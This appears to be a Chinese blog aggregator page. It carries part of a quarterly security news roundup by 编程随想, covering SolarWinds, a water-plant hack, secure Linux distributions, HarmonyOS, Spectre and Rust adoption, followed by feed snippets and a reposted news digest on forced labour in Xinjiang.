在俄罗斯黑客之后，疑似中国黑客去年利用 SolarWinds 公司软件中的缺陷侵入美国政府电脑。知情人士称，FBI 调查人员最近发现，美国农业部内的联邦薪资处理机构国家财务中心是受到此次黑客行动影响的组织之一，这令人担忧成千上万联邦政府雇员的数据可能泄露。这次疑似中国黑客所利用的软件缺陷不同于美国指控的俄罗斯政府特工所利用的软件缺陷。
中国外交部表示，追究网络攻击的来源是一个“复杂的技术问题”，任何指控都应该有证据支持。中国外交部在声明中称，中方坚决反对并打击任何形式的网络攻击和窃密活动。
《研究称：中国黑客也对 SolarWinds 客户发动了攻击 @ Solidot》
安全公司 Secureworks 周一发表报告，除了俄罗斯黑客，中国黑客组织也在同一时间内对 SolarWinds 的客户发动了攻击。
在俄罗斯黑客发动供应链攻击的同时，安全研究人员去年12月披露还有黑客利用了 SolarWinds 公司软件 Orion 的一个漏洞，在该公司客户的网络中安装了名为 Supernova 的 web shell。但当时还不知道是谁发动了攻击。根据其使用的技术、策略和程序，研究人员现在将该黑客组织命名为 Spiral，该组织此前还利用了 ManageEngine ServiceDesk 的漏洞入侵企业网络。
《微软总裁布拉德·史密斯称：SolarWinds 黑客事件是有史以来最大、最复杂的 @ cnBeta》
《NASA and the FAA were also breached by the SolarWinds hackers @ Bleeping Computer》
◇【水厂】成为网络战的目标
《Hacker Increased Chemical Level At Florida City's Water Supply, Police Say @ Slashdot》
《佛罗里达州水处理系统遭黑客攻击，万幸没有居民受到伤害 @ cnBeta》
《坦帕湾时报》报道称，有黑客成功渗透了控制佛罗里达州奥尔德斯马市水处理设施的计算机系统。通过篡改可远程控制的计算机数据，攻击者改变了当地供水中的化学品含量（上调了氢氧化钠碱液的水平）。庆幸的是，设施管理者和警方均表示，目前暂无居民受到伤害的报告。
编程随想注：
......
即便如此，意图不明的攻击者将黑手伸向公共基础设施一事，还是引发了许多居民的恐慌情绪。目前当地正在与联邦调查局（FBI）和特勤局（Secret Service）联手展开调查，附近城镇也受到有关潜在威胁的警报。
需要指出的是，佛罗里达州奥尔德斯马市（Oldsmar）发生的事件并非孤例。去年11月的时候，伊利诺伊州的一家水务公司也被疑似与俄方有关的攻击者给盯上。
此外，据《华盛顿邮报》报道，以色列情报官员声称：去年发生了一起未遂的网络攻击事件，指责伊朗方面试图对该国的水处理设施展开攻击。
......
在《近期安全动态和点评（2019年3季度）》中已经提到：【供电系统 ＆ 供水系统】将会成为网络战的目标。如今应验了。
★操作系统
◇注重安全及隐私——Linux 发行版的选型
《Best Secure Linux Distros for Enhanced Privacy ＆ Security @ Linux Security》
编程随想注：
这篇洋文推荐了六款强化安全和隐私的 Linux 发行版。对于 Linux 用户而言，不同的人有不同的技能水平、使用场景、操作习惯。很难给出某种普适的排名。因此，上述这篇文章也仅仅是作为某种参考。
全文很长，俺只摘录一部分（如下）
Qubes OS
Why We Love Qubes OS:
- Its "Security by Isolation" approach using containers - aka "Qubes" - eliminates the concern of compromised programs.
- All of these Qubes are integrated into one common desktop environment and color-coded to help users stay organized.
- Sandboxing protects system components.
- Qubes OS offers full-disk encryption for maximum file protection.
Tails
Why We Love Tails:
- Its tight integration with the Tor network ensures anonymity online.
- The included web browser is pre-configured for maximum security and includes add-ons like NoScript, Ublock Origin, and HTTPS Everywhere.
- Users get access to Onion Circuits, a valuable tool that allows them to view how their PC traverses through the Tor network.
- Tails comes with the Aircrack-NG wireless network auditing tool.
- The OS is encrypted and designed to run with full functionality on a USB drive.
- The distro features a built-in Bitcoin wallet ideal for users looking to make secure cryptocurrency transactions.
Kali Linux
Why We Love Kali Linux:
- Kali Linux uses LUKS full-disk encryption to protect sensitive pentesting data from loss, tampering and theft.
- This flexible distro offers full customization with live-build.
- Users can automate and customize their Kali Linux installations over the network.
- "Forensics" mode makes this distro perfect for forensics work.
- There's a Kaili Linux training suite available called Kali Linux Dojo, where users can learn how to customize their own Kali ISO and learn the basics of pentesting. All of these resources are available on Kali's website, free of charge. Kali Linux also boasts a paid-for pentesting course that can be taken online, with a 24-hour certification exam. Once you pass this exam, you're a qualified pentester!
Parrot OS
Why We Love Parrot OS:
- The distro provides pentesters and digital forensics experts with the best of both worlds - a state-of-the-art "laboratory" with a full suite of tools accompanied by standard privacy and security features.
- Applications that run on Parrot OS are fully sandboxed and protected.
- Parrot OS is fast, lightweight and compatible with most devices.
BlackArch Linux
Why We Love BlackArch Linux:
- BlackArch Linux offers a large selection of hacking tools and preconfigured Window Managers.
- The distro provides an installer with the ability to build from source.
- Users can install tools either individually or in groups with the modular package feature.
Whonix
Why We Love Whonix:
- Whonix comes with the Tor Browser and the Tox privacy instant messenger application - ensuring fully-anonymous web browsing and instant messaging.
- The OS employs an innovative Host/Guest design to conceal users' identity behind the anonymous proxy and prevent IP and DNS leaks.
- The distro features pre-setup Mozilla Thunderbird PGP email.
- Linux Kernel Runtime Guard (LKRG), a kernel module that performs runtime integrity checking of the Linux kernel to detect security vulnerabilities and exploits, can be easily installed on Whonix.
◇华为的鸿蒙——连哄带蒙
《Ars 尝试华为的鸿蒙操作系统 @ Solidot》
中国最大智能手机制造商华为在遭到美国的出口禁令之后宣布了自己的操作系统鸿蒙，去年12月释出了 V2 版本。华为消费者业务 CEO 余承东宣称：鸿蒙是与 Android 和 iOS 完全不同的操作系统。华为消费者业务软件部总裁王成录上个月再次表示，鸿蒙不是 Android 或 iOS 的拷贝。
编程随想注：
美国科技网站 Ars 对华为鸿蒙进行了一番测试，记者首先试着下载 Harmony SDK，结果迎面一击：他被告知需要接受两天的背景检查，要求注册账号通过身份验证，包括递交名字、地址、电邮、电话号码和护照照片。即使你试图绕过注册流程，下载“盗版”的版本，SDK 也需要你登陆账号之后才会运行。
出于研究的目的，记者牺牲了自己的隐私，下载了 SDK，开始进行测试。他发现模拟手机使用的是中国 SIM 卡，进入的网络叫“华为内网”。进一步研究发现，Harmony 的应用页面基本上全是类似 Android Services Library、Android Shared Librar 之类的，以及指示 Android 10 的信息。
作者认为现阶段的 Harmony 本质上就是换了皮肤的 Android，华为甚至连 Android 的名字都没有替换掉。作者还阅读了 Harmony 的文档，认为这些文档都是胡扯，没有多少意义。
“鸿蒙系统”被调侃为【连哄带蒙】，果然名不虚传 :)
不过这篇报道已经不新鲜了。去年9月底，俺发了如下这篇博文，作为“国庆献礼”。在这个排行榜上就有“鸿蒙系统”。
《二十年目睹之怪现状——中国学术界、科技界的“奇葩排行榜”》
《华为高管声称：鸿蒙 V3 将不再基于 Android @ Solidot》
华为消费者业务软件部总裁王成录今年初曾表示，鸿蒙不是 Android 或 iOS 的拷贝。但对鸿蒙 V2 的分析表明，它事实上是 Android 的拷贝，华为甚至连 Android 的名字都没有从系统中替换掉。
编程随想注：
对此王成录在接受采访时回应称：“并不是所有 Android 代码都是 Google 开发的，绝大部分代码来自开源社区。鸿蒙也会吸收社区的优秀技术和代码，用了 AOSP（Android 开源项目）的开源代码，就判断鸿蒙是 Android 换了皮，说明这类吐槽者没有太准确理解什么是开源。今年10月，鸿蒙第三阶段的开源代码会上线，来自 AOSP 社区的、由 Google 贡献的代码几乎没有了。”
华为高管的辩解，属于“偷换概念”（稻草人谬误）。
之前网民指责“鸿蒙是安卓换皮”，因为鸿蒙大量使用了 AOSP（Android Open Source Project）的代码。在【源代码】层面，“鸿蒙系统”与“安卓系统”实在太相似了。
华为高管的忽悠在于——先把命题“鸿蒙使用安卓（AOSP）的代码”偷偷替换为“鸿蒙使用谷歌（Google）的代码”。然后再针对后一个命题进行反驳。这就是典型的【稻草人谬误】。
华为高管采用这种诡辨式的逻辑把戏，反而让人觉得：他们心虚。
★硬件 ＆ 物理安全
◇物联网 ＆ 法拉第笼
《不请自来的物联网时代 @ Solidot》
不管你需不需要，几乎所有家电都能联网的时代正在我们走来。没有冠以“智能”的电视机早就销声匿迹，而大部分所谓的智能电视机还有广告，部分品牌则将没有开屏广告作为卖点。配备了摄像头和麦克风的智能电视容易遭到滥用已是众所周知，它们会将收集的信息发送到厂商的服务器，你根本不知道它们收集了哪些信息。
编程随想注：
好消息是，大部分物联网设备使用的是 Wifi 连接，我们至少还可以通过路由器控制它们的行为。但厂商也有应变之道：直接嵌入蜂窝调制解调器和 SIM 卡，解决不在线的问题。这种现象将会越来越多，它们将会完全脱离用户的有限控制。除了将它们关在【法拉第笼】内，消费者将无能为力。
隐私、监视、跟踪将会无处不在，这就是不请自来的物联网时代。
上述文章中提到的【法拉第笼】，洋文叫做“Faraday cage”。是用导体（通常是金属）做成的笼子或网袋。它利用物理学的【静电屏蔽原理】，使得电子设备无法与外界通讯。
（用柔性金属面料制成的法拉第笼）
顺便说一下：
专业的警方取证人员，都会随身携带这个玩意儿。当他们收缴了你的手机，直接丢入“法拉第笼”——使得你再也无法远程操控手机（自然也就无法“远程刷机”）。
有些同学可能会问：如果要防止手机的主人远程操控，为啥警方在收缴了手机之后，不使用“关机 or 拔电池”这2招捏？
俺的回答是：
每个想问此问题的读者，都属于“看博文太粗心”。在前面“移动设备”的那个章节中，俺已经解释了：手机在【开机】的状态下，更容易破解。
◇Meltdown ＆ Spectre
《First Fully Weaponized Spectre Exploit Discovered Online @ Slashdot》
编程随想注：
关于 Meltdown ＆ Spectre 漏洞，去年和前年的《近期安全动态和点评》都有聊过。
在今年（2021）之前，对这俩漏洞还停留在“理论”阶段；到了今年2月份，在线查毒引擎 VirusTotal 首次发现与这两个漏洞相关的攻击代码，分别针对 Windows ＆ Linux。这也就意味着：对这两个漏洞的研究，已经从“理论”上升到“实践”。
这两个漏洞源于 CPU 硬件的设计缺陷，很难根治；而且受影响的 CPU 很多，波及面从 x86 系列到 ARM 系列。
俺在《近期安全动态和点评（2019年1季度）》提到如下这段话：
一年前（2018年初）曝光的 Spectre 和 Meltdown 在信息安全界可以称得上是【划时代】滴！因为其利用的是 CPU 的【设计缺陷】（而且还是【根本性】缺陷）。
......
由于这两个漏洞涉及到 CPU 的【根本性】缺陷，极难搞定（就像两个幽灵，会在未来几年不断困扰 IT 行业）。
《A Spectre proof-of-concept for a Spectre-proof web @ Google 安全博客》
《Google 演示 Spectre 概念验证攻击 @ Solidot》
Google 演示了实用的 Spectre 概念验证攻击，代码发布在 GitHub 上，演示发布在网站 leaky.page 上。
2018年1月，Google Project Zero 和奥地利格拉茨技术大学的研究人员披露了与预测执行相关的处理器漏洞 Spectre，利用基于时间的旁路攻击，允许恶意进程获得其他程序在内存中的数据。Google 的概念验证攻击针对的是运行在 Linux 系统上的 Chrome 88 的 V8 JS 引擎，使用的 CPU 是英特尔的 Core i7-6500U Skylake。Google 表示，可以进行微调，让攻击能工作在不同的 CPU、浏览器版本和操作系统上，包括苹果的 M1 ARM CPU。概念验证攻击能以 1kB/s 的速度泄露数据。Google 称，虽然浏览器开发商已经实现了网站隔离等缓解措施，但这并不能阻止 Spectre 的漏洞利用，只是防止保存在内存中的敏感数据被攻击者读取。预防 Spectre 攻击还需要 Web 开发者部署应用程序级别的缓解措施。
◇新的 CPU 攻击手法——Lord of the Ring(s)
《英特尔新侧信道攻击——Lord of the Ring(s) @ Solidot》
伊利诺伊香槟的三位研究人员在预印本网站 arXiv 发表论文，披露了针对英特尔 CPU 的最新侧信道攻击，该攻击被命名为 Lord of the Ring(s)。
随着芯片上的功能模块越来越多，英特尔为其 CPU 引入了片内总线，以实现各个模块之间的高速通信，它先后引入了 Ring Bus 和 Mesh Bus。最新侧信道攻击针对的就是 Ring Bus 的环形总线。研究人员首先逆向工程了 Ring Bus 的通信协议，设法构建了一个跨核心的隐蔽信道，利用环争用的细粒度时态模式去推动应用程序的秘密。从有漏洞的 EdDSA 和 RSA 实现中提取出密钥比特。对于 AMD 的 Zen 架构使用的片内总线 Infinity Fabric，研究人员表示需要进一步的研究，但相信他们的技术能应用于其它平台。
◇家用监控探头，反而坑了自己
《安装家庭监控探头的技工承认，偷窥客户做爱 @ Solidot》
家庭和小型办公安保公司 ADT 的雇员 Telesforo Aviles 承认在五年时间里超过9,600次未经许可访问了200名客户的家庭监控探头。
Aviles 称：如果客户家中有吸引力的女性，他会在安装时将自己的邮件地址加入到可访问客户 ADT Pulse 账号的名单中，之后会浏览探头观看性方面的活动。他称会在客户做爱时观看裸女。他承认了一项计算机欺诈罪名，一项侵入性可视化记录罪名，面临最高5年徒刑。
★安全编程
◇Google 开始拥抱 Rust
编程随想注：
在上一期的《近期安全动态和点评（2020年4季度）》，俺还在吐槽：云计算三大巨头中，只有 Google 对 Rust 的热情不高。
没想到才过了一个季度，Google 的态度就有了明显变化。具体请看如下几篇报道。
《Google 宣布它正致力于用 Rust 重实现关键安全软件 @ Solidot》
Google Security Blog 宣布：它正致力于用 Rust 语言重新实现关键安全软件组件。Google 称，内存安全相关的漏洞在安全领域一直占主要位置。
微软的研究显示，通过安全更新修复的漏洞七成是内存安全问题。对 curl 安全问题的分析显示，95个 bug 中的53个可以通过使用内存安全语言防止。
Google 正与 Internet Security Research Group 合作用 Rust 语言重新实现安全组件，包括用 Rust 为 curl 开发 HTTP 和 TLS 后端，为 Apache httpd 项目开发 TLS 库。
《Rust in the Android platform @ Google 安全博客》
《Android 加入了对 Rust 语言的支持 @ Solidot》
Google 官方安全博客宣布：Android 加入了对 Rust 语言的支持。Google 称，七成的 Android 高危漏洞与内存相关，而内存安全语言是解决这一问题的最有效方法。Google 宣布 Android Open Source Project（AOSP）现在支持用 Rust 语言开发操作系统。
Java 和 Kotlin 是开发 Android 应用的最佳选择，但 Java 和 Kotlin 无法用于开发操作系统底层。操作系统的底层需要用系统级编程语言 C、C++ 和 Rust 来开发。对 C 和 C++ 来说，开发者负责管理内存，但管理内存时因代码库的复杂性开发者很容易犯错。Rust 语言利用编译时检查和运行时检查确保内存安全，同时它还提供了比拟 C 和 C++ 语言的性能。
Google 称：用 Rust 重写数千万行 C/C++ 代码是不可行的。对内存相关 bug 的分析显示，大部分 bug 都是近一两年内引入的，因此 Rust 将主要用于新的开发而不是重写成熟的 C/C++ 代码。
《Google 资助用 Rust 语言，为 Apache HTTP 开发安全模块 mod_tls @ Solidot》
Google 资助了 Internet Security Research Group（ISRG）的一个项目：用 Rust 语言为 Apache HTTP web server 项目开发安全模块 mod_tls。
在 Apache web server 中，mod_ssl 用于支持建立 HTTPS 连接所需的加密操作，它是用 C 语言开发的。
新的 mod_tls 模块将使用 Rust 语言开发，领导该项目开发的是软件咨询公司 Greenbytes 的创始人和 Apache HTTP Server 开发者 Stefan Eissing。ISRG 希望，在完成开发之后 Apache HTTP web server 团队将采用 mod_tls 作为默认模块，取代年代悠久且不安全的 mod_ssl。
◇Linux 内核正逐步支持 Rust
《对 Rust 的初步支持登录 Linux-Next @ 开源中国》
近日，Linux 邮件列表中的 Rust-for-linux 上公布了 Rust 支持登陆 Linux-Next 的消息。
Rust 是一个注重安全和性能的语言，并且在今年初成立了新的 Rust 基金会以支持其发展。而在 Linux 内核开发者中，关于使用 Rust 来编写新的设备驱动程序的讨论已经持续了很长时间。本周，对于 Rust 的初步支持终于登陆 Linux-Next 分支。虽然目前还没有一个完整的 Rust 内核驱动，但已经可以在 Linux-Next 分支上看到关于 Rust 的文档、Rust 代码目录和一个用 Rust 实现的字符驱动程序例子。
这种支持需要系统上存在 Rust 编译器（rustc），因此，当前重点关注的体系结构应该是 ARM64 和 x86_64。此外，内核支持也需要一个最新的构建 Rust 的工具链。
虽然 Rust 支持现在已经登录 Linux-Next 分支，但尚不清楚何时并入主线。一般来说，Linux-Next 中的工作会一直持续到下一个周期，但如果其仍是一个正在进行中的工作，也有可能在 Linux-Next 中停留更长时间。
俺博客上，和本文相关的帖子（需翻墙）：
《计算机网络通讯的【系统性】扫盲——从“基本概念”到“OSI 模型”》
《如何防止黑客入侵》（系列）
《如何保护隐私》（系列）
《扫盲操作系统虚拟机》（系列）
《TrueCrypt 使用经验》（系列）
《Startpage——保护隐私的搜索引擎，搜索质量等同 Google》
《扫盲 Firefox 定制——从“user.js”到“omni.ja”》
《扫盲 HTTPS 和 SSL/TLS 协议》（系列）
《“对抗专制、捍卫自由”的 N 种技术力量》
《近期安全动态和点评（2020年4季度）》
《近期安全动态和点评（2020年1季度）》
《近期安全动态和点评（2019年3季度）》
《近期安全动态和点评（2019年2季度）》
版权声明
本博客所有的原创文章，作者皆保留版权。转载必须包含本声明，保持本文完整，并以超链接形式注明作者"编程随想"和本文原始地址。翻墙工具
使用 BT sync 自动同步各种翻墙工具（BT sync 免翻墙可用）， 同步密钥是 BTLZ4A4UD3PEWKPLLWEOKH3W7OQJKFPLG 如有其它问题，用program.think@gmail.com联系俺 - 博客 Randy's Blog 2021-04-11 08:00:001266
- 博客 Jiajun的编程随想 2021-04-11 08:00:00《logrotate read only filesystem问题》最近配置了OpenResty的 logrotate 规则，但是遇到一个奇怪的问题，自己直接在命令行执行是ok的，但是systemd timer执行却是不行...
- 博客 轶哥博客 2021-04-06 18:28:01<>接到一个需求，基于Electro开发Widow下的自助设备广告屏（上屏）自动播放视频的功能。设备下屏是带触控功能的屏幕，可以进行业务咨询、业务办理、视频咨询，上屏是不带触控功能的1080P屏幕。<>
两个屏幕接入了同一个主机，下屏是主屏幕，上屏是分屏（扩展屏）。为了避免下屏进行视频咨询的时候，上屏播放视频的声音影响到对话，因此上屏播放视频功能需要开放相应的API接口，在下屏播放视频或进行音视频咨询的时候，相关的开发者能够通过API对上屏视频禁音。<>由于我们已经开发了Adroid平台的同款设备，因此Electro平台需要和Adroid平台保持一致的API。
- 博客 轶哥博客 2021-04-05 22:54:38<>使用一台全新的
联想yoga14（itel版）设备连接了wifi6网络，在安装Symle（一款多设备协同软件）后，发现鼠标移动卡顿，ig内网网关，发现延迟高达60m，还伴随有断流现象。出现高延迟、断流的同时，蓝牙也会变得卡顿，断开无线网络后，蓝牙功能恢复正常。<>网卡设备工作在160MHZ，显示协商网速在1200M附近。使用MacBook和IOS、Adroid设备测试到网关的延迟是正常的，说明路由器在工作。 - 博客 构建我的被动收入 2021-04-05 08:00:00被动收入投资组合2021年03月月报
- 博客 编程随想的博客 2021-03-29 15:03:00上一篇博文（计算机网络通讯的【系统性】扫盲）发出后，有多位热心读者提供反馈，俺更正了几处错误（包括笔误），并补充了若干图片。在此表示感谢 :)
★引子
最近几年，已经有多位热心读者在博客留言，建议俺发一篇博文谈谈【新疆人权问题】。就在上一篇博文，还有某读者提到类似建议。由于俺手头没有足够多的资料，所以一直没有动手写这方面的【原创】博文。
最近一个季度，“新疆人权问题”已经演变为严重的外交对抗，并延烧到其它一些领域。俺正好借此机会发一篇《每周转载》，有助于列位看官更多地了解此事。
提醒一下：
由于真理部的严厉封锁，【墙内】媒体不可能有新疆的【负面】报道。因此，如果你只看墙内的媒体，你的信息来源是【严重单一化】滴。
为了帮助读者获得更加【多元化】的信息，本文汇总的外媒，包括了【北美、欧洲、澳洲、东南亚】的多个国家。
由于本文转载的外媒报道比较多，俺分为几个章节。大伙儿可以只看自己感兴趣的主题。
★背景介绍
考虑到有些读者可能不了解此事的来龙去脉，俺先贴出相关的背景介绍。
◇维基百科的相关页面
《2021年新疆棉花争议事件 @ 维基百科》
《新疆再教育营 @ 维基百科》
《维吾尔族种族灭绝 @ 维基百科》
《全球马格尼茨基人权问责法》
编程随想注：
这是美国国会2016年12月通过的一个法案，授权美国政府制裁外国严重侵犯人权的【政府官员】。
全球至少有6个国家通过了类似的立法。欧盟在去年底（2020年）通过了欧盟版的《马格尼茨基问责法》。
如今美国与欧洲国家都在制裁天朝政府的某些官员，援引的就是这类法案。
《维吾尔人权政策法案 @ 维基百科》
编程随想注：
这是美国国会2020年5月通过的一个法案。
法案要求美国多个政府部门就新疆维吾尔人权问题提交报告；要求美国联邦调查局保护在美国境内的维吾尔族人不受中国政府威胁。
《防止强迫维吾尔劳动法 @ 维基百科》
编程随想注：
该法案已经在美国众议院通过，正在等待美国参议院审批。
由于新疆是中国主要的棉花产区，一旦该法案生效，中国大部分【含棉花】的产品将无法出口到美国；另外，如果产品中的某个部件有【新疆奴工】参与生产，也会被禁止出口到美国。
有一些大型跨国公司（比如：耐克、可口可乐、等等）雇佣的院外游说团体，正在游说某些参议员，企图阻止该法案（或者弱化该法案的条款）。值得一提的是：【苹果公司】也在其中（参见《华盛顿邮报》的“这篇报道”）。因为苹果的供应链，也牵扯到新疆。
参与游说的大型公司有好几家，为啥俺要专门拿【苹果公司】来说事儿捏？——
首先请注意：苹果公司很有钱（在全球各行业的公司中，苹果的现金储备排在前几位），苹果公司的利润率很高（这点俺不用解释了）。也就是说，即使苹果公司把涉及新疆的供应链迁出，对它而言也只是“小意思”，根本【不会】伤筋动骨。苹果甚至都不需要动新疆的供应链，只需调整供应链，使得供应美国的苹果产品，不包含新疆奴工制造的部件。
但是库克作为苹果公司的老大，采用的却是另一种做法——企图游说参议院，阻挠该法案通过。这么做，已经站在了【道德的对立面】。那俺不得不怀疑：库克这个人的道德底线。
如果是耐克的 CEO 道德很差，大伙儿无需太担心——毕竟你所穿的耐克鞋没法监视你的隐私。但苹果就不同啦——iPhone 手机以及 iOS 操作系统，可以收集到很多很多的用户数据。既然库克缺乏道德，苹果公司会不会拿用户的数据去谋取商业利益捏？这就很难说啦！
对于那些【重度的】苹果用户，俺建议去看看《近期安全动态和点评（2020年4季度）》。其中正好提到【苹果的 OCSP 事件】——这是去年曝光的一个重大隐私丑闻。
◇《新疆棉風暴，中國義和團開戰全球品牌，秒懂新疆血棉花懶人包 @ 蘋果日報》
（编程随想注：以下是此文的摘录）
知名時尚品牌 H＆M、Nike、Adidas 等接連聲明拒用新疆「血棉花」，中國掀起大規模抵制運動，許多中國、台灣藝人紛紛表態支持新疆棉，宣示「效忠祖國」斷絕與相關品牌合作，究竟這波新疆棉風暴從何而來？《蘋果新聞網》製作懶人包，帶你一次看懂新疆棉花爭議。
一、新疆棉是什麼？
新疆為全球棉花重要生產地區，產量佔中國高達 85%、全球 20%，是紡織服飾業及棉製品的關鍵原料產地，其高品質更被譽為世界三大棉之一，許多服飾大廠原料皆使用其棉花，包括無印良品等。
二、新疆棉為何引起爭議？
近年中國在新疆針對少數民族維吾爾人實施「再教育營」，傳出大規模關押、進行洗腦教育、酷刑虐待、性侵等，引起人權團體抗議，而更有證據顯示，新疆棉就是這群維吾爾人被迫勞動下的產物。
新疆棉花仍主要仰賴大量人工採收，勞動時間長，根據美國智庫全球政策中心（Center for Global Policy）調查報告顯示，光是2018年，就有超過57萬的維吾爾人，被迫下田摘棉花，甚至受到嚴密監控。外界更預估高達兩百萬人，被迫加入軍事化採棉工業或當地紡織產業。
三、新疆棉事件緣由
此次新疆棉爭議源自去年10月，瑞士「良好棉花發展協會」（Better Cotton Initiative, BCI）認定新疆持續遭受強迫勞動，而瑞典大型時裝品牌 H＆M 也跟著發表不再採購新疆棉花的聲明。近日突然遭中國官媒、網友挖出，大肆抨擊、抵制，數十家曾聯署、發聲的跨國企業也都遭中國抵制。
分析指，中國官媒遲至現在才出手的原因，是因去年秋天正與歐盟協商歐中投資協定，但近日因中國人權問題，歐洲議會要求歐盟重新考慮投資協定；而歐盟又在3月22日宣布制裁新疆相關官員與實體。中國當晚向歐盟祭出反制措施，制裁歐洲10人和4個實體。
兩天後，共青團中央就在官方微博接連發兩則貼文，一則批評 H＆M「一邊造謠抵制新疆棉花，一邊又想在中國賺錢？癡心妄想」；另一則則以圖文強調：「新疆棉花不吃這一套」；隨後官媒火力全開，圍剿 H＆M。小粉紅響應官方「號召」，揚言抵制 H＆M。淘寶、京東等電商平台火速下架 H＆M 商品，藝人也紛紛發聲明割席，代言人宋茜與黃軒第一時間發聲明「和 H＆M 已無合作」。
自由亞洲電台報導，國際勞工權益基金會（GLJ – ILRF）主任艾莉森·吉爾（Allison Gill）指出，此次爭議不單純只是中國網友自發抵制，而是中國政府企圖將焦點，從外界對其少數民族的人權爭議，轉移至對各大品牌的抵制運動。
......
★新疆的人权问题
◇《德国专家解析中国扶贫报告，证实北京在新疆实施强迫劳动 @ 德国之声》
（编程随想注：此文发布于2021年3月3日；以下是此文的摘录，引文中的粗体是俺标注滴）
中国南开大学2019年12月发布的一份工作报告，成了中国政府推动新疆维吾尔族劳务输出的证据。虽然《南开报告》已被下架，德国的新疆问题专家郑国恩（Adrian Zenz）对其进行了分析。
3月2日，德国的新疆问题专家郑国恩（Adrian Zenz）发布一份报告，揭露了新疆跨地区劳动力转移项目中强迫性劳动转移的状况，该报告是基於南开大学中国财富经济研究院在2019年12月发布的《新疆和田地区维族劳动力转移就业扶贫工作报告》（以下简称《南开报告》）所做的分析。
......
郑国恩分析，根据《南开报告》提供的证据，他推估有将近160万名维族的农村剩馀劳工面临强迫劳动风险。他也在一则推文中写道，这些发现替对中国实施制裁或对供应链进行撤资提供了充分理由，这些都是各国政府反对中国对维吾尔族人实施强迫劳动所考量的反制措施。
《南开报告》称：「特别是新疆南疆地区作为国家级的少数民族贫困地区，和曾经发生过严重暴力事件的社会环境不安定地区，通过劳务输出可以较快改变贫困人们的观念丶环境，并较快实现生活水平提高，从而既有利于长久实现社会安定，又能够比较快而稳定地实现脱贫攻坚任务。」
《南开报告》还指，主动促进南疆地区有组织的向东部沿海汉族集中居住地区进行大规模转移就业，「对于新疆少数民族贫困人口和家庭都将产生积极影响，对其收入是一个重大增加丶对其思想观念是一个重大提升，大大有利于促进各民族各地区的长期稳定，实现政治丶经济与社会目标的统一。」
郑国恩在他的报告中分析，新疆有两种大规模的、政府支持的强迫劳动项目在运行：第一种是大家所熟知的新疆再教育营项目，以「去极端化」为目的，这些从营里毕业的「毕业生」之後会被送到附近的工厂工作，这样的劳动力移转大约从2018年开始; 第二种是农村剩馀劳动力转移就业的项目，这个项目是以「扶贫」为目的，这些劳工接受强制培训与工作安排，包括采集棉花等季节性的劳动，通常是针对没有进入过集中营的维吾尔族人。他们也可能被送到其他的省份工作，新疆自2000年起就有这样的案例。
《南开报告》称，中国政府针对新疆的「短期的严厉措施是绝对必要也有效的」。该报告承认，前几年南疆地区暴乱的维吾尔族人虽是少数，但这几年将维吾尔族人「全部」甚至「大大超量」收进了「教育培训中心」。《南开报告》也证实，中国政府将新疆维吾尔族人进行分门别类，政府坚决处理「有问题的」维吾尔族人，也针对「无问题的」维吾尔族人进行培训。
国际犯罪法专家罗森伯格（Erin Farrell Rosenberg）基於郑国恩的报告做的法律分析汇编指，有「可靠理由总结」新疆的劳动力转移项目违反了两项《罗马规约》中的“危害人类罪”（Crimes Against Humanity）。
◇《中国透过新疆强迫劳动项目「撕裂」一个民族 @ 德国之声》
（编程随想注：此文发布于2021年3月5日，是《德国之声》对德国学者郑国恩（Adrian Zenz）的访谈；以下是此文的摘录）
德国之声：
周三数家国际媒体披露的《南开报告》提供了更多关于中国政府在新疆实施强迫劳动的细节。这些新的事实如何帮助改善国际社会进一步了解新疆强迫劳动计划的规模或目的？
郑国恩：
首先，《南开报告》提供了前所未有的证据，证明了中国政府在新疆对维吾尔人推动的劳动转移是具有强制性的。报告中的细节包含了政府要求招聘的人员名额，或是从新疆转移至中国其他地区时会有保安随行等。
此前，我们掌握到的类似讯息都是片面的，但现在《南开报告》是一个全方位的综合文件。最重要的是，这个文件中的资讯是有权威性的。以前，一些相关研究的资讯都来自非正式的渠道，比如百度贴吧。在那个平台上，每个人都可以发帖，而我们无法核实发帖人的身份。
但是《南开报告》之所以具有权威性，是因为它的作者是中国著名的学者，其中有一位是南开大学的现任院长，以前曾是政府高官。
该报告还指出，中国应该加大强迫劳动转移的规模，因为强迫转移的劳力为华东地区提供了廉价的劳动力，可以降低该地区企业的劳动力成本。
第二个方面，《南开报告》是中国迫害维吾尔人的事件爆发以来，首次有权威性的资讯能证明中国在新疆推动的强迫劳动转移不仅仅具有经济目的，它还有另一个目的，那就是让维吾尔人与汉族同化，藉此改造维吾尔人的思想。
此外，《南开报告》还称强迫劳动转移可以降低新疆南部的人口密度。我之前在其他研究项目中，有囊括了其他公开的中国学术研究论文中的相关证据，其中便谈到强迫劳动转移如何成为中国政府破坏维吾尔社群，与压制宗教影响力的重要战略方法。
《南开报告》的证据还清楚列出，依照政府政策移居到新疆南部的汉族移民的规模。该报告中提到，北京计划到2022年，要再将30万汉人安置到南疆。在《南疆报告》中，我们第一次正式看到中国政府如何透过强迫劳动转移来改变维吾尔人的人口结构。
劳动力转移已成为中国迫害新疆维吾尔人的政策中，其中一个核心策略。中国在新疆控制维吾尔人的策略是由强迫劳动转移丶防止生育和再教育营所组成的。
......
◇《国际专家报告：中国镇压维吾尔人，符合种族灭绝标准 @ RFI/法广》
（编程随想注：此文发布于2021年3月10日；以下是此文的摘录）
全球50多位专家发布针对新疆维吾尔人遭遇迫害的独立调查报告，报告的结论是，中国当局在新疆的行为严重违反了联合国『防止及惩治灭绝种族罪公约』，中国政府应为此承担“国家责任”。
这一调查报告由美国创新战略与政策研究所周二发布，参加评估的有全球50多位种族灭绝研究、战争罪和国际法专家、中国民族政策专家和新疆问题专家。他们对有关证据进行审查和分析后指出，中国当局在新疆针对维吾尔族的镇压违反联合国『防止及惩治灭绝种族罪公约』，符合种族行为标准，中国政府“要负起国家责任”。
美国 CNN 有线电视援引创新战略与政策研究所特殊项目负责人易卜拉欣（Azeem Ibrahim）指出，有“压倒性”证据支持报告提出的种族灭绝指控。他说：中国“是一个主要的全球大国，其领导人是种族灭绝的设计者”。
......
中国是联合国『防止及惩治灭绝种族罪公约』缔约国之一，该公约对“种族灭绝”的定义是：蓄意灭绝一个国家、民族、种族或宗教群体的全部或部分，公约界定了有关种族灭绝的5种行为。
美国特朗普政府曾于1月19日声明，中国政府在新疆犯下种族灭绝罪。加拿大国会也已通过指控中国政府在新疆犯下种族灭绝罪的提案，欧盟成员国荷兰国会也已通过类似的提案。
